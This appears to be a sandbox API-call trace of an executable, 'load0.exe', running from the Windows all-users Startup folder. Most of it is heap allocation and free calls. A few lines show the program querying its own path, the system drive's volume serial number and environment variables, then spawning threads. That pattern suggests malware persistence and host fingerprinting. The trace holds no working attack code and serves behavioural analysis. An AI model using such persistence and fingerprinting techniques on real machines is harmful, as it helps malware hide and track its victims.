0x7be778 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be628 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be538 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be658 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be670 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be6a0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be6b8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be508 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be718 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be6d0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be6e8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be700 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be748 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be760 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778d60 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x778d80 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be970 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be868 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be9a0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be910 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bea90 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bea30 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be958 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be880 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bea48 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bea78 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be8f8 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bea00 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be850 [0285.709] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76d7a0, Size=0x400) returned 0x7bf098 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be808 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beaa8 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be7c0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be898 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be928 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be940 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be988 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be9d0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be9b8 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be9e8 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778e10 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bea18 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be8b0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bea60 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be7d8 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be8c8 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be8e0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x7be7f0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be838 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be820 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf620 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf500 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf608 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf7b8 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf530 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf4d0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778df0 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf650 [0285.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf728 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf638 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf518 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf548 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf758 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf668 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf680 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf560 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x7bf5c0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf698 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x7bf578 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf590 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf5a8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf5d8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf6f8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf5f0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bf6c8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf6b0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf6e0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf710 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf4e8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf7a0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf740 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf770 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf788 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf7d0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf7e8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf890 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf9b0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfa40 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfa10 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf800 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf9c8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf848 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7bf968 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x12) returned 0x746b98 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf8a8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfa28 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf8c0 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf8d8 [0285.710] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf9e0 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf818 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf980 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf9f8 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfa58 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf950 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf830 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfa70 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfa88 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf860 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf878 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfaa0 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf8f0 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfab8 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf920 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bf908 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bf938 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bf998 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfb48 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x7bfb30 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfbd8 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778e00 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfb00 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778c50 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfc50 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfb90 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfb18 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfba8 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfb60 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfae8 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfc68 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfc80 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfad0 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfb78 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfbf0 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfbc0 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bfc08 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfc20 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778a80 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bfc38 [0285.711] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bff30 [0285.712] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd488 | out: hHeap=0x730000) returned 1 [0285.712] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c0ce8 | out: hHeap=0x730000) returned 1 [0285.712] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c0d00 | out: hHeap=0x730000) returned 1 [0285.712] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cd6c0 | out: hHeap=0x730000) returned 1 [0285.712] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x742890 | out: hHeap=0x730000) returned 1 [0285.712] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x770048 | out: hHeap=0x730000) returned 1 [0285.712] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7de488, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe")) returned 0x46 [0285.712] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7de488 | out: hHeap=0x730000) returned 1 [0285.713] lstrlenW (lpString="load0.exe") returned 9 [0285.713] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.713] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7de488, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0285.713] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ee490 | out: hHeap=0x730000) returned 1 [0285.714] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7de488 | out: hHeap=0x730000) returned 1 [0285.714] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x770138 | out: hHeap=0x730000) returned 1 [0285.714] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0285.714] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce480 | out: hHeap=0x730000) returned 1 [0285.716] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.716] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7ce480, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0285.716] lstrlenW (lpString="C:\\") returned 3 [0285.716] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0285.717] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce480 | out: hHeap=0x730000) returned 1 [0285.718] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x778b80 | out: hHeap=0x730000) returned 1 [0285.718] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76d7a0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c1198 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cd968 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c10a8 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cdfc8 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c11c8 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741be8 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c11e0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73faa0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c11f8 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e798 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c12a0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x778ac0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c1240 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741548 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c10d8 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cdc98 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c1060 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x778be0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c10c0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x747ab8 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746c38 | out: hHeap=0x730000) returned 1 [0285.719] lstrlenW (lpString="%systemdrive%") returned 13 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76fe40 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cd6c0 | out: hHeap=0x730000) returned 1 [0285.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x778ae0 | out: hHeap=0x730000) returned 1 [0285.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x7ad468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac [0285.721] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd488 | out: hHeap=0x730000) returned 1 [0285.721] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c60b8 | out: hHeap=0x730000) returned 1 [0285.721] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c61f0 | out: hHeap=0x730000) returned 1 [0285.721] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce050 | out: hHeap=0x730000) returned 1 [0285.721] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x742770 | out: hHeap=0x730000) returned 1 [0285.721] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x770188 | out: hHeap=0x730000) returned 1 [0285.721] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ee4a8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe")) returned 0x46 [0285.722] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ee4a8 | out: hHeap=0x730000) returned 1 [0285.722] lstrlenW (lpString="load0.exe") returned 9 [0285.723] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c3808 | out: hHeap=0x730000) returned 1 [0285.723] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7ee4a8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0285.723] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7fe4b0 | out: hHeap=0x730000) returned 1 [0285.723] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ee4a8 | out: hHeap=0x730000) returned 1 [0285.723] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76fe68 | out: hHeap=0x730000) returned 1 [0285.723] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0285.723] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7de4a0 | out: hHeap=0x730000) returned 1 [0285.724] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c4048 | out: hHeap=0x730000) returned 1 [0285.725] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7de4a0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0285.725] lstrlenW (lpString="C:\\") returned 3 [0285.725] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0285.725] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7de4a0 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c5788 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76d7a0 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c6220 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cdfc8 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c61a8 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce050 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c6418 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741be8 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c61c0 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e798 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c6280 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73faa0 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c62e0 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c5748 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c60d0 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741548 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c5ff8 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cdc98 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c6130 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c57e8 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c6148 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x747b18 | out: hHeap=0x730000) returned 1 [0285.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746678 | out: hHeap=0x730000) returned 1 [0285.727] lstrlenW (lpString="%systemdrive%") returned 13 [0285.728] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76fe40 | out: hHeap=0x730000) returned 1 [0285.728] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cd6c0 | out: hHeap=0x730000) returned 1 [0285.728] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c5838 | out: hHeap=0x730000) returned 1 [0285.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x7ce480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc [0285.728] WaitForMultipleObjects (nCount=0x2, lpHandles=0x74c9f0*=0xfac, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2606 os_tid = 0x534 Thread: id = 2607 os_tid = 0x266c [0271.160] GetACP () returned 0x4e4 [0271.160] GetACP () returned 0x4e4 [0271.160] Sleep (dwMilliseconds=0x0) [0271.281] RtlExitUserThread (Status=0x0) Thread: id = 2608 os_tid = 0x2670 [0271.161] GetACP () returned 0x4e4 [0271.161] GetACP () returned 0x4e4 [0271.161] Sleep (dwMilliseconds=0x0) [0271.282] RtlExitUserThread (Status=0x0) Thread: id = 2609 os_tid = 0x2674 [0271.162] GetACP () returned 0x4e4 [0271.162] GetACP () returned 0x4e4 [0271.162] Sleep (dwMilliseconds=0x0) [0271.282] RtlExitUserThread (Status=0x0) Thread: id = 2610 os_tid = 0x2678 [0271.163] GetACP () returned 0x4e4 [0271.163] GetACP () returned 0x4e4 [0271.163] Sleep (dwMilliseconds=0x0) [0271.312] RtlExitUserThread (Status=0x0) Thread: id = 2611 os_tid = 0x267c [0271.164] GetACP () returned 0x4e4 [0271.164] GetACP () returned 0x4e4 [0271.164] Sleep (dwMilliseconds=0x0) [0271.319] RtlExitUserThread (Status=0x0) Thread: id = 2612 os_tid = 0x2680 [0271.164] GetACP () returned 0x4e4 [0271.164] GetACP () returned 0x4e4 [0271.164] Sleep (dwMilliseconds=0x0) [0271.321] RtlExitUserThread (Status=0x0) 